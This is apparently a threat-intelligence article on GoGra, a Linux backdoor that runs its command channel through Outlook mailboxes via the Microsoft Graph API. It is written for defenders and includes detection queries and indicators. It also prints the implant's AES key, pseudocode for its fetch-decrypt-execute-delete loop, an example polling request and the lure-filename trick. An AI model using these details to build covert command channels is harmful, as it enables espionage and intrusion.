GoGra Linux Backdoor Hides C2 Inside Microsoft Outlook


A Linux backdoor documented by Symantec's Threat Hunter Team in April 2026 solves a long-standing attacker problem: how do you run a command-and-control channel that blends perfectly into enterprise traffic? The answer is to stop running a C2 server entirely and use Microsoft Outlook instead.

The backdoor is called GoGra, and its Linux variant is built around a single architectural decision that makes it exceptionally difficult to detect with conventional perimeter tools. Rather than reaching out to an attacker-controlled server over a suspicious IP or domain, it authenticates to Microsoft's own cloud infrastructure using hardcoded Azure AD credentials, then polls an Outlook mailbox folder every two seconds using OData queries via the Microsoft Graph API. Commands arrive as ordinary-looking emails. Results go back the same way. To a firewall, it all looks like someone reading their inbox. Symantec identified VirusTotal submissions from India and Afghanistan as the primary geographic signal pointing to those two countries as the likely targets of the espionage activity. It is worth noting that VirusTotal submission origin is an inference methodology rather than direct victim confirmation — Symantec's own report states directly that "while we did not observe victims in this campaign," the submission origins indicate where the espionage activity is most likely concentrated. This is standard practice in threat intelligence reporting, but the distinction between confirmed victims and submission-based targeting inference is meaningful.

Traditional C2 vs GoGra cloud API C2 Left: attacker controls a dedicated server with a suspicious IP; victim connection is flagged by firewalls. Right: attacker routes commands through a legitimate Microsoft Outlook mailbox via the Graph API; all traffic goes to microsoft.com and is invisible to perimeter tools. TRADITIONAL C2 GOGRA: CLOUD API C2 Attacker issues commands owns & controls C2 server suspicious IP / domain raw TCP / HTTPS to known-bad IP Victim endpoint Linux host FIREWALL SEES connection to bad-reputation IP flagged / blocked Attacker sends command emails OAuth2 / Graph API Microsoft Outlook graph.microsoft.com polls every 2s via OData query Victim endpoint Linux host (GoGra) FIREWALL SEES HTTPS to microsoft.com looks like normal email detectable invisible to perimeter defenses

What follows is a technical examination of how this works, why it works, where it fits in a years-long escalation of cloud API abuse for C2 purposes, and what defenders need to monitor given that traditional blocking approaches are ineffective against it.

The Outlook-as-C2 Technique Explained

To understand why this approach is so effective, it helps to understand how the Microsoft Graph API works and what legitimate use of it looks like on the wire.

The Graph API is Microsoft's unified REST endpoint for accessing Microsoft 365 services including Outlook, OneDrive, SharePoint, and Teams. Developers call it constantly to build integrations, and enterprises generate enormous volumes of legitimate Graph API traffic daily. Every call to graph.microsoft.com travels over HTTPS with a valid OAuth2 bearer token, appears to originate from a registered Azure AD application, and blends into the background noise of modern enterprise cloud use. The Cyber Security Agency of Singapore issued an advisory in 2024 noting that threat actors were increasingly leveraging Graph API to blend malicious activity with legitimate traffic, citing the fundamental challenge this poses for defenders who cannot simply block graph.microsoft.com without disrupting operations.

"uses the legitimate Microsoft Graph API and Outlook mailboxes as a covert command-and-control channel" — Symantec and Carbon Black Threat Hunter Team, April 2026

GoGra's Linux variant carries hardcoded plaintext Azure AD credentials directly inside the binary: a tenant ID, a client ID, and a client secret. These are the same three values any developer would use to register an application and request OAuth2 access tokens. The malware uses them to authenticate to Microsoft's login.microsoftonline.com token endpoint and obtain a bearer token scoped to read and write mail in a specific Outlook account.

Hardcoded Credentials Risk

The Azure AD credentials embedded in GoGra binaries are extractable by any analyst who obtains a sample. Once extracted, those same credentials can be used by defenders or rival actors to impersonate the same registered application, query the mailbox, and potentially disrupt the operator's infrastructure. It is also a revocation target: if Microsoft identifies and invalidates the application registration, the entire C2 channel collapses. Hardcoding credentials this way is an operational security failure that creates a structural vulnerability in the implant's longevity.

With a valid token, GoGra polls a specific Outlook folder using OData syntax, the query language used to filter and retrieve data from Graph API endpoints. The folder in the Linux variant is named Zomato Pizza, a reference to a popular food delivery service that originated in India and operates widely across South Asia. The Windows variant uses a different folder name — Dragan Dash, a reference to Dragan Dash Kitchen, a food delivery restaurant in the Indian city of Hyderabad. Both names are regionally specific food-delivery references, a pattern consistent with an operator familiar with Indian digital culture. Some coverage treats folder names like these as definitive proof of India-specific targeting. The more concrete geographic signal comes from the VirusTotal submission origins — India and Afghanistan — which Symantec cites as the primary evidence of targeting geography, and the folder naming pattern reinforces rather than independently establishes that inference.

The C2 loop works as follows. The malware checks the folder every two seconds for emails whose subject line starts with the word Input. When such an email arrives, GoGra decrypts the message body, which is base64-encoded and encrypted with AES-CBC using a hardcoded key. It then executes the decrypted content as a shell command via /bin/bash -c. Output from that command is AES-encrypted, base64-encoded, and sent back to the operator as a reply email with the subject Output. After exfiltrating the result, the implant issues an HTTP DELETE request against the Graph API to permanently remove the original tasking email from the inbox, eliminating forensic evidence of the instruction.

Why We Say "AES-CBC" and Not "AES-256-CBC"

Symantec's August 2024 report on the Windows GoGra variant described it as using "AES-256 algorithm in Cipher Block Chaining (CBC) mode," and that language has been repeated across secondary coverage of both the Windows and Linux builds. The hardcoded key used in both variants — b14ca5898a4e4133bbce2ea2315a1916 — is 32 hex characters, which equals 16 bytes. In Go's standard crypto library, a 16-byte key selects AES-128, not AES-256; AES-256 requires a 32-byte key. CyberSpit refers to this as AES-CBC throughout the article rather than asserting a specific key strength, because the key's length is the authoritative signal and it points to 128-bit key material. The confusion is understandable given that Symantec's own initial characterization said AES-256, and that description has become the default in community reporting. This article notes the discrepancy rather than silently reproducing it.

Operator sends email:
  Subject: Input
  Body: [base64(AES-CBC(shell_command))]
  To: hardcoded_outlook_account / folder: "Zomato Pizza"

GoGra polls every 2 seconds via OData:
  GET /v1.0/me/mailFolders/Zomato Pizza/messages?$filter=...
  (Linux variant — Windows variant used the folder "Dragan Dash" instead of "Zomato Pizza")

On match:
  1. Decrypt body with AES-CBC key b14ca5898a4e4133bbce2ea2315a1916
  2. Execute: /bin/bash -c [decrypted_command]
  3. Encrypt result, reply with Subject: Output
  4. HTTP DELETE original message to destroy evidence

The AES key b14ca5898a4e4133bbce2ea2315a1916 is identical across both the Linux and Windows variants of GoGra, a detail that becomes significant when examining what the shared codebase reveals about the development operation.

AES Key Size: Where Sources Disagree

There is genuine inconsistency in how different sources characterize GoGra's AES encryption. Symantec's own August 2024 analysis of the Windows GoGra variant described it as using "AES-256 algorithm in Cipher Block Chaining (CBC) mode," and that characterization has propagated through secondary coverage. However, the key itself — b14ca5898a4e4133bbce2ea2315a1916 — is 32 hexadecimal characters, which translates to 16 bytes. In Go's standard crypto/aes package, a 16-byte key selects AES-128-CBC, not AES-256-CBC. AES-256 requires a 32-byte (64-character hex) key. The confusion likely stems from the fact that AES-128 and AES-256 both use a 128-bit block size; it is only the key length that differs. CyberSpit's analysis refers to this as AES-CBC throughout rather than asserting AES-256, because the technical evidence from the key itself points to 128-bit key material. Where you see "AES-256-CBC" attributed to GoGra in other coverage, that characterization traces back to the original Symantec description rather than to direct measurement of the key length.

Detection Query GoGra Cloud API C2 Behavioral Rules

Select your SIEM or detection platform to get a copy-pasteable rule targeting GoGra's specific behavioral fingerprints: OData mailbox polling from non-mail processes, HTTP DELETE evidence cleanup, and Go HTTP client User-Agent anomaly.

Targets Microsoft 365 unified audit logs ingested into Splunk. Matches Graph API OData mailbox polling followed by DELETE of the same message ID within 10 seconds, from a non-interactive process. Tune index and sourcetype to match your environment.

index=m365_audit sourcetype=o365:management:activity
  Operation IN ("MailItemsAccessed", "Delete")
  (UserAgent="Go-http-client/1.1" OR UserAgent="Go-http-client/2.0")
| eval req_time=strptime(_time, "%Y-%m-%dT%H:%M:%SZ")
| sort 0 req_time
| streamstats window=20 list(Operation) as ops
    list(ClientAppId) as app_ids
    list(UserAgent) as agents
    by UserId
| where mvcount(ops) >= 2
    AND mvfind(ops, "MailItemsAccessed") >= 0
    AND mvfind(ops, "Delete") >= 0
    AND mvfind(agents, "Go-http-client") >= 0
| eval delta=mvindex(req_time,-1) - mvindex(req_time,0)
| where delta <= 10
| table _time UserId ClientAppId UserAgent ops delta
| rename UserId as "Affected mailbox"
    ClientAppId as "Azure AD app ID"
    delta as "GET-to-DELETE secs"

The Full Attack Chain

The infection begins with social engineering. The initial vector relies on tricking a target into executing what appears to be a PDF document. The attackers use a specific filename trick: they append a document extension to the ELF binary filename with a space character preceding it, for example naming a file TheExternalAffairesMinister. pdf rather than TheExternalAffairesMinister.pdf. The space before the extension means the Linux kernel ignores the extension when determining the file type, so the file executes as a binary while visually presenting as a document to anyone reading the filename quickly.

Other lure document filenames identified in the campaign include umrah.pdf, referencing the Islamic pilgrimage to Mecca, and Details Format. pdf. Decoy documents displayed during execution include both PDF files and OpenDocument Text files disguised as PDFs. The cultural specificity of these lures — references to Indian food delivery, Islamic pilgrimage, and a filename mimicking a government ministry — is consistent with targeting of South Asian government, telecommunications, and IT organizations. Symantec noted that while direct victims were not observed in this campaign, VirusTotal sample submissions from India and Afghanistan provided the primary geographic signal, and Symantec's report notes the group's continued interest in the South Asia region for espionage purposes.

When the victim executes the lure file, a Go-based dropper runs first. This dropper embeds and deploys a roughly 5.9 MB i386 ELF executable, writing the actual payload to ~/.config/systemd/user/userservice. It then establishes two persistence mechanisms that operate in parallel. The first is a systemd user unit, which causes the payload to start automatically at reboot without requiring root privileges. Any unprivileged user on Linux can create unit files under ~/.config/systemd/user/ and enable them with the --user flag, making this technique accessible to malware running in a standard user context. The second persistence method is an XDG autostart entry that disguises itself as the Conky system monitor, a legitimate Linux utility that displays system information on the desktop. MITRE ATT&CK tracks this as T1547.013.

"add an entry to the XDG autostart directory to execute programs" — MITRE ATT&CK, T1547.013: XDG Autostart Entries

The dual persistence design is significant. Systemd user services activate at login regardless of whether a GUI session is present, while XDG autostart entries specifically target graphical session initialization. Together they cover scenarios where a headless server login occurs through one path, and a GUI workstation login occurs through another. The payload executes under both conditions.

Once running, the i386 implant loads its hardcoded Azure AD credentials and begins the two-second polling loop described in the previous section. The entire C2 channel operates through Microsoft's own infrastructure and never contacts an attacker-controlled domain or IP address that could be flagged by threat intelligence feeds or DNS blocklists.

Cross-Platform Codebase and What It Reveals

The Linux GoGra variant is not a port or rewrite of the Windows version. Analysis by Symantec's Threat Hunter Team revealed that the two share a nearly identical underlying codebase, confirmed through multiple layers of evidence that go beyond functional similarity.

The Windows variant was first deployed against an unnamed media organization in South Asia in November 2023, with Symantec publicly documenting it in August 2024. The April 2026 primary report from Symantec's Threat Hunter Team includes a direct comparison table that identifies the Windows variant's target mailbox folder as Dragan Dash — a reference to Dragan Dash Kitchen, a food delivery restaurant located in the Indian city of Hyderabad. Both variants therefore use regionally themed food delivery brand names as their mailbox folder identifiers: Zomato Pizza for the Linux build (Zomato being a pan-Indian food delivery service) and Dragan Dash for the Windows build (a Hyderabad-specific restaurant). This pattern of using locally recognizable brand names as folder identifiers is consistent across both builds and reinforces the South Asian targeting inference drawn from VirusTotal submission origins.

The most telling evidence is the presence of identical typos in both builds. Shared string errors include json:"@odata.ontext" (missing the letter c from context), error occured in decryption : (misspelling of occurred), and Commad Executed (missing the letter n). Function name typos are equally preserved across both platforms: the functions ExcuteCommand and DeleteingMessage appear with the same spelling errors in both the Linux and Windows variants. Typos in source code do not replicate themselves through coincidence. When both an ELF binary and a Windows DLL contain an identical misspelled function name, the most parsimonious explanation is a shared developer and a shared codebase. Symantec's Threat Hunter Team concluded that the matching hardcoded spelling errors across both platforms point toward "the same developer being behind both tools."

The AES encryption key b14ca5898a4e4133bbce2ea2315a1916 is also identical across both platforms, meaning that command emails encrypted for the Windows implant would be decryptable by the Linux implant and vice versa. This shared key also distinguishes GoGra from Harvester's earlier Graphon implant, which used a different AES key (juBvYU7}33Xq}ghO) and was written in .NET rather than Go. The deliberate key reuse between the Linux and Windows GoGra builds, combined with the complete absence of the original Graphon key, confirms that GoGra is a distinct second-generation tool in the Harvester arsenal rather than a simple retool of Graphon.

Is GoGra a Rewrite of Graphon? Early Coverage Was Uncertain

When Symantec first documented the Windows GoGra variant in August 2024, some coverage described GoGra as a possible "evolution or reimplementation" of Graphon. That framing was tentative — Symantec's analysis noted functional similarity and shared Graph API C2 architecture between the two tools, and flagged Graphon as a likely developmental predecessor. The April 2026 Linux analysis is clearer: the two GoGra builds (Linux and Windows) share a nearly identical codebase confirmed by identical typos and encryption keys, while GoGra as a whole uses a different key, a different language (Go vs .NET), and a different C2 structure than Graphon. The relationship between GoGra and Graphon is best described as toolset succession within the same threat actor's arsenal, not a direct port or code fork. If you read earlier articles that describe GoGra as "possibly evolved from Graphon," that reflects the state of knowledge in August 2024 before the cross-platform analysis was completed.

There are differences in the beacon behavior. The Linux variant polls continuously at two-second intervals regardless of server response. The Windows variant backs off to a five-minute sleep when it receives an HTTP 204 No Content response from the Graph API, a more conservative approach that reduces traffic volume during quiet periods. The Linux variant's aggressive two-second polling means it generates a noticeably higher volume of authenticated Graph API calls, which could in theory be used as a behavioral signal if defenders are monitoring for abnormal API call frequency from specific processes.

The internal Go package path also differs: the Linux build uses OUTLOOKCLIENT/services while the Windows build uses NEWCLIENT/services. This suggests that while the core logic is shared, the two variants are maintained as separate Go modules within the same development project rather than as a single cross-compiled binary, implying an organized development structure. This is consistent with a state-sponsored operation. The threat actor behind GoGra, identified by Symantec as the Harvester group, is a nation-state-backed espionage actor active since at least June 2021. Harvester previously deployed a .NET Graph API backdoor called Graphon against South Asian targets — telecom, government, and IT organizations — and first introduced GoGra in a November 2023 attack against a South Asian media organization. Symantec publicly documented the Windows GoGra variant in August 2024 and now confirms the Linux variant as a deliberate expansion of Harvester's cross-platform capability.

Nation-State Attribution: Confirmed Category, Unconfirmed Country

When Symantec first documented Harvester in October 2021, the research team explicitly stated they did "not have enough evidence yet to attribute Harvester's activity to a specific nation state." As of the April 2026 Linux GoGra report, no public Symantec or Broadcom analysis has named a specific sponsoring government. The characterization "nation-state-backed" reflects the tooling complexity, targeting patterns, and operational security practices of the group — not a confirmed government affiliation. Some third-party commentary online assigns Harvester to specific regional powers based on the targeting geography, but those attributions are speculative and not sourced to primary research. CyberSpit uses "nation-state-backed" throughout because that is what the primary evidence supports. Readers who encounter more specific country-level attribution claims for Harvester in other sources should verify whether those claims cite primary intelligence reporting or are inferences from targeting patterns alone.

Go Binary Fingerprinting and What the Build Reveals

The choice of Go as the implementation language for GoGra is not incidental. Go compiles to statically linked binaries by default, meaning the resulting ELF file bundles its entire runtime and standard library with no external shared library dependencies. This is operationally convenient for attackers: a single binary runs on any Linux host with a compatible kernel without requiring specific library versions or package managers. The tradeoff, from a defender's perspective, is that Go binaries are large and contain rich metadata that analysts can extract.

Go binaries compiled without deliberate stripping retain the full module path structure in their symbol tables. The module paths OUTLOOKCLIENT/services (Linux) and NEWCLIENT/services (Windows) are visible in the binary without requiring dynamic execution or a debugger. Tools such as strings, nm, and Go-specific analyzers like go-string-recovery or the gobinsight plugin for Binary Ninja surface these paths automatically during static analysis. The module name alone tells an analyst that this binary was developed in a Go workspace where the developer named the module after the intended deployment target, a naming pattern consistent with organized multi-platform tooling rather than an improvised single-platform implant.

Go binaries also embed build metadata that can survive even partial stripping: the Go version used for compilation, the GOOS/GOARCH targets, and the build ID. For the i386 Linux variant, the GOARCH=386 value reveals that the developer deliberately targeted 32-bit architecture. This is unusual in 2026, when virtually all Linux servers run 64-bit kernels and userspace. The deliberate choice of i386 has at least two plausible interpretations: either the target environment includes older 32-bit hardware or embedded Linux devices in the regional infrastructure being targeted, or the i386 binary was chosen because 32-bit ELF executables run on both 32-bit and 64-bit Linux kernels (all x86-64 systems include ia32 compatibility support), making it a more portable deployment option that does not require generating separate binaries for each architecture.

The Exact OData Query Structure

The polling mechanism GoGra uses is worth examining at the protocol level, because it is this specificity that makes behavioral detection feasible. The malware issues OData GET requests against the Graph API's mail endpoint using a $filter parameter to select only emails with the matching subject prefix. A representative request against the Zomato Pizza folder looks structurally like this:

GET https://graph.microsoft.com/v1.0/me/mailFolders/Zomato%20Pizza/messages
    ?$filter=startswith(subject,'Input')
    &$select=id,subject,body
    &$top=1
Authorization: Bearer [oauth2_token]
User-Agent: Go-http-client/1.1

Several details in this structure are detection-relevant. First, the User-Agent value Go-http-client/1.1 is Go's default HTTP client identifier when no custom User-Agent is set. Legitimate enterprise mail clients using the Graph API set branded User-Agent strings; a raw Go HTTP client string appearing in Microsoft 365 unified audit logs against a mail endpoint is an anomaly worth flagging. Second, the $filter=startswith(subject,'Input') predicate is specific to the C2 protocol — no legitimate mail application polls for emails by subject prefix using the OData filter language. Third, the frequency of these requests — one every two seconds — generates audit log volume that is measurable if audit logging is enabled. Fourth, each successful command retrieval is followed within seconds by a DELETE request to /v1.0/me/messages/{message_id}, creating a distinctive pair of GET-then-DELETE audit events that has no analog in normal email client behavior.

For defenders who have Microsoft 365 audit logs flowing to a SIEM, a detection rule combining three conditions creates a high-fidelity signal with minimal false positives: a Graph API token acquisition from a non-interactive process, followed by OData $filter queries against a mailbox folder at sub-ten-second intervals, followed by HTTP DELETE calls against individual message identifiers within the same application session. None of those three events is individually suspicious, but their combination and sequencing is diagnostic. The Go User-Agent string adds a fourth discriminator that can be cross-referenced in environments where the User-Agent field is captured in M365 audit logs.

The Broader Cloud C2 Problem

GoGra does not exist in isolation. It is the latest example in an escalating pattern of malware families abusing Microsoft's Graph API for command and control, a pattern that researchers have been documenting with increasing frequency since at least 2022.

SIESTAGRAPH, first reported by Elastic Security Labs in December 2022, was among the first widely reported cases of Graph API abuse via Outlook drafts for C2 purposes. FINALDRAFT, analyzed by Elastic in February 2025 and attributed to the cluster REF7707, used the same Outlook-via-Graph-API mechanism for C2 in a campaign targeting a South American foreign ministry, with additional links to compromises at a university and telecommunications organizations in Southeast Asia. FINALDRAFT also had a Linux variant with similar C2 functionality. CMD365, another 2024 example, was a .NET backdoor that disguised itself as the Postman API testing tool and used hardcoded Graph credentials to create unique Outlook folders per infected machine, polling them for base64-encoded commands and posting results back via new emails. Grager, attributed to a suspected Chinese APT and deployed against organizations in Taiwan, Hong Kong, and Vietnam, used Graph API calls to interact with attacker-controlled OneDrive folders instead of Outlook, demonstrating that the abuse is not limited to mail services within the same API surface. BirdyClient, discovered by Symantec in May 2024, also used OneDrive as a C2 server via the Graph API and was deployed against an organization in Ukraine, extending the pattern to Eastern Europe and confirming that this technique is not regionally constrained to South or Southeast Asia.

Researchers at CyCraft published analysis in late March 2026 describing a campaign targeting Taiwan's government and manufacturing sectors in which attackers operated with almost no dedicated infrastructure, combining Graph API C2 with dead-drop resolvers to create a nearly infrastructure-free attack chain. Their conclusion was direct: since these campaigns abuse legitimate infrastructure, traditional blocking strategies are often ineffective, and defenders must shift to behavioral detection and contextual analysis.

What drives this pattern is straightforward economics and operational security. Running a dedicated C2 server means owning or renting infrastructure that can be identified, blocked, seized, or burned when it appears in threat intelligence feeds. Using Microsoft's infrastructure means operating behind domains and IP ranges with perfect reputation, valid TLS certificates, enormous legitimate traffic volume, and the implicit trust that enterprise security tools extend to Microsoft 365 services. The tradeoff is that the operator's credentials can be extracted from captured samples and revoked, and the communication channel is dependent on Microsoft not terminating the application registration.

Reference GoGra Linux Backdoor Indicators of Compromise

SHA-256 hashes and filenames confirmed in the GoGra Linux backdoor campaign. Source: Symantec / Broadcom Threat Hunter Team, April 2026.

Type Indicator Description
Hash 9c23c65a8a392a3fd885496a5ff2004252f1ad4388814b20e5459695280b0b82 GoGra Linux backdoor ELF binary
Hash 2d0177a00bed31f72b48965bee34cec04cb5be8eeea66ae0bb144f77e4d439b1 GoGra Linux backdoor ELF binary
Hash 74ac41406ce7a7aa992f68b4b3042f980027526f33ec6c8d84cb26f20495c9dc GoGra Linux backdoor ELF binary
Hash 57cd5721bae65c29e58121b5a9b00487a83b6c37dded56052cab2a67f90ea943 ZIP containing GoGra Linux backdoor (TheExternalAffairesMinister.zip)
Hash d8d84eaba9b902045ae4fe044e9761ad0ce9051b85feea3f1cf9c80b59b2b123 ZIP containing GoGra Linux backdoor
MITRE T1566.001 Spearphishing attachment — initial access via lure documents
MITRE T1036.007 Masquerading — ELF binary with space-padded .pdf extension
MITRE T1543.002 Systemd service persistence — user unit at ~/.config/systemd/user/
MITRE T1547.013 XDG autostart entry masquerading as Conky system monitor
MITRE T1071.003 C2 via mail protocol — commands delivered over Outlook via Graph API
MITRE T1070.003 Indicator removal — HTTP DELETE of tasking emails post-execution
Description
GoGra Linux backdoor ELF binary
Description
GoGra Linux backdoor ELF binary
Description
GoGra Linux backdoor ELF binary
Description
ZIP containing GoGra Linux backdoor (TheExternalAffairesMinister.zip)
Description
ZIP containing GoGra Linux backdoor
Description
Spearphishing attachment — initial access via lure documents
Description
Masquerading — ELF binary with space-padded .pdf extension
Description
Systemd service persistence — user unit at ~/.config/systemd/user/
Description
XDG autostart entry masquerading as Conky system monitor
Description
C2 via mail protocol — commands delivered over Outlook via Graph API
Description
Indicator removal — HTTP DELETE of tasking emails post-execution

Detection and Defense

The defensive challenge with cloud API C2 is well understood: you cannot block graph.microsoft.com. What you can do is shift detection toward behavioral and contextual signals that are independent of network reputation.

Monitor for Anomalous OAuth2 Token Requests

GoGra requests OAuth2 tokens from login.microsoftonline.com at runtime using hardcoded credentials. Token requests originating from non-interactive processes, or from processes with parent paths inconsistent with legitimate mail clients, are a meaningful signal. On Linux, this means watching for curl, Go-compiled ELF binaries, or generic executables in hidden home directory paths making POST requests to Microsoft OAuth endpoints. Endpoint Detection and Response tools with process-level network visibility can catch this if tuned appropriately. The Microsoft Security blog has documented detection queries in KQL for identifying anomalous OAuth token acquisitions against Exchange Online, which can be adapted to cover this pattern.

Hunt for ELF Binaries with Document-Style Masquerading

The space-before-extension trick used in GoGra lure files is detectable with static filesystem analysis. On any Linux host you suspect may be compromised, the command find / -regex ".*\. pdf" -type f -exec file -p '{}' \; will identify files whose names end in a space followed by .pdf and report their true binary type. Legitimate PDF files will return as PDF data; ELF binaries masquerading this way will return their actual format. This detection technique generalizes to any extension and is simple to incorporate into endpoint hunting scripts or SIEM-connected file integrity monitoring.

Audit systemd User Units and XDG Autostart Entries

New files created under ~/.config/systemd/user/ or ~/.config/autostart/ that reference executables in non-standard locations warrant investigation. Elastic Security Labs has published detection rules for XDG autostart abuse using ES|QL that look for new .desktop file creation followed by network connections from processes spawned by session managers. The specific signal for GoGra would be a .desktop file referencing a binary that mimics Conky's name but lives outside Conky's standard installation path. Auditd rules watching for execve calls from autostart parent processes combined with subsequent network activity to graph.microsoft.com would be a high-confidence detection pairing.

Watch for OData Polling Patterns in Graph API Logs

If your organization captures Microsoft 365 unified audit logs or has Defender for Cloud Apps connected, look for Graph API calls using OData $filter queries against mailbox folders at high frequency from applications that are not recognized mail clients. The two-second polling interval of GoGra's Linux variant is aggressive. Legitimate mail synchronization clients do not poll at two-second intervals in the background of a server process. An application-level signal combining high-frequency GET /v1.0/me/mailFolders/*/messages calls with subsequent DELETE /v1.0/me/messages/* calls within the same session is a high-fidelity indicator even without knowledge of the specific folder name.

Revoke and Monitor Suspicious Application Registrations

Because GoGra relies on a registered Azure AD application with a client ID and secret, those credentials are revocable. Organizations should audit their Azure AD application registrations for apps with Mail.ReadWrite and Mail.Send delegated permissions that are not associated with known, approved enterprise applications. Microsoft's own Entra ID documentation recommends monitoring the "Update application — Certificates and secrets management" event in the Azure AD Audit Logs to surface unexpected credential additions. Any application registration that cannot be attributed to an approved business purpose and holds mail permissions should be treated as a candidate for immediate revocation. In the context of GoGra, a defender who extracts the hardcoded credentials from a captured binary can authenticate as the same Azure AD application, enumerate the C2 mailbox, and report the application to Microsoft for forced revocation — collapsing the entire C2 channel without needing to hunt down every infected endpoint first.

Defender Checklist Cloud API C2 Hardening Actions

Prioritized actions for reducing exposure to Graph API-based command and control. Check off items as you complete them.

0 / 5 completed

CyberSpit Notes

  1. The channel is the problem, not the domain: GoGra proves that blocking malicious domains and IPs is an insufficient model when the C2 channel is legitimate cloud infrastructure. Detection must be behavioral and process-level, not network-reputation-based, when the adversary is operating inside Microsoft's own address space.
  2. Hardcoded OAuth credentials are a defender opportunity: Every GoGra binary carries plaintext Azure AD credentials that can be extracted, used to enumerate the operator's mailbox, and reported to Microsoft for application revocation. This is not a strength of the design; it is a structural weakness that defenders and researchers can actively exploit for disruption.
  3. Cross-platform development is maturing: The identical AES key, typos, and function names across Linux and Windows GoGra variants signal that threat actors are running organized multi-platform development operations, not improvising ports. Linux is no longer an afterthought in espionage tooling.
  4. The persistence double-layer is deliberate: Using both a systemd user unit and an XDG autostart entry in parallel provides redundancy. Defenders who only monitor one persistence location will miss the other. Both need to be covered.
  5. GoGra is one entry in a long list: SIESTAGRAPH, FINALDRAFT, CMD365, Grager, BirdyClient, and now GoGra all demonstrate that the Microsoft Graph API has become a preferred C2 substrate for state-linked espionage operations. The technique is proven, repeatable, and increasingly standardized. Defenders who have not yet built detections for it are operating with a significant blind spot.
  6. Attribution claims deserve scrutiny: Harvester is confirmed as nation-state-backed by the quality and targeting of its tooling. The specific sponsoring government has not been publicly identified in Symantec's primary research as of April 2026. Some secondary sources speculate on country-of-origin based on targeting patterns alone; that is not the same as confirmed attribution. Treat any specific country attribution for Harvester that you encounter elsewhere as an inference, not a finding.

The broader pattern here is not about any single threat actor. It is about a shift in attacker strategy toward infrastructure they do not have to own, maintain, or defend. As long as Microsoft's cloud infrastructure remains universally trusted by enterprise security tools, it will remain a preferred transport for operators who have the engineering capability to abuse it. The defensive response has to match that shift by moving detection into the process layer, the cloud audit log, and behavioral analytics rather than relying on perimeter controls that were not designed for this threat model.

Frequently Asked Questions

How does GoGra hide its command-and-control traffic?

GoGra uses the Microsoft Graph API to poll a specific folder inside a hardcoded Microsoft Outlook mailbox every two seconds. Commands arrive as emails with the subject line starting with the word Input. The malware decrypts the AES-encrypted message body and runs the resulting shell commands via /bin/bash -c. Results are encrypted and sent back via a reply email with the subject Output. Because all of this traffic travels over Microsoft's own HTTPS infrastructure using legitimate OAuth2 tokens, it is functionally indistinguishable from ordinary enterprise email activity to perimeter firewalls and network monitors.

What persistence mechanisms does GoGra use on Linux?

GoGra establishes two parallel persistence mechanisms. First, it writes its i386 payload to ~/.config/systemd/user/userservice and registers a systemd user unit so the implant restarts on every reboot. Second, it creates an XDG autostart .desktop entry that disguises itself as the legitimate Conky system monitor. Together these provide redundant execution at login without requiring elevated root privileges, mapping to MITRE ATT&CK techniques T1543.002 and T1547.013.

Why is hardcoding Azure AD credentials inside malware dangerous?

When Azure AD application credentials — including the tenant ID, client ID, and client secret — are embedded in plaintext inside a binary, any analyst who obtains the sample can extract those credentials and use them to impersonate the same registered application. This allows anyone with the credentials to request valid OAuth2 tokens, enumerate mailbox data, and potentially access other resources in that Azure tenant. It also means the credentials can be flagged and revoked by Microsoft once researchers extract them, collapsing the operator's entire C2 channel. Hardcoded credentials represent an operational security failure that defenders can actively exploit for disruption or takedown.

How does GoGra cover its tracks after executing commands?

After the implant receives a command email, decrypts it, and sends back the execution results, it issues an HTTP DELETE request against the Microsoft Graph API to permanently remove the original tasking email from the mailbox. This means forensic investigators examining the Outlook account after the fact would find no record of the instructions that were sent. Combined with the two-second polling interval that quickly processes and destroys each command, this creates a very narrow window for defenders to capture in-flight C2 traffic.

What detections should defenders prioritize for cloud API-based C2?

Defenders should focus on behavioral signals rather than network blocking, since the traffic travels through legitimate Microsoft domains. Key detection targets include: OAuth2 token requests issued from non-interactive processes or unusual parent processes; ELF binaries bearing document-style filenames with a leading space before the extension; new systemd user units or XDG .desktop files created under ~/.config/; anomalous Microsoft Graph API calls using OData filter queries at high frequency; and HTTP DELETE calls against /v1.0/me/messages identifiers from endpoint processes that are not recognized mail clients.